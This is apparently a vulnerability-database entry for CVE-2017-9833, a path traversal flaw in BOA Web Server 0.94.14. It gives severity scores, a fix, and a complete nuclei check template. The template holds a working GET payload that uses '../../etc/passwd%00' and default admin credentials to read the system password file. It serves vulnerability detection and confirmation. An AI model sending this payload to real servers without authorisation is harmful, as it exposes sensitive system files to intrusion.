HexBrain

Browse / CVEs / CVE-2017-9833

CVE-2017-9833· boa / boa· CWE-22

BOA Web Server 0.94.14 - Arbitrary File Access

highseverity
7.5CVSS score
68.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.

Impact

An attacker can gain unauthorized access to sensitive files on the server.

Fix

Upgrade to a patched version of BOA Web Server or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMIN…
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-9833 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-9833

info:
  name: BOA Web Server 0.94.14 - Arbitrary File Access
  author: 0x_Akoko
  severity: high
  description: BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.
  impact: |
    An attacker can gain unauthorized access to sensitive files on the server.
  remediation: |
    Upgrade to a patched version of BOA Web Server or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/42290
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9833
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
    epss-score: 0.68464
    epss-percentile: 0.99341
    cpe: cpe:2.3:a:boa:boa:0.94.14.21:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: boa
    product: boa
  tags: cve,cve2017,boa,lfr,lfi,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from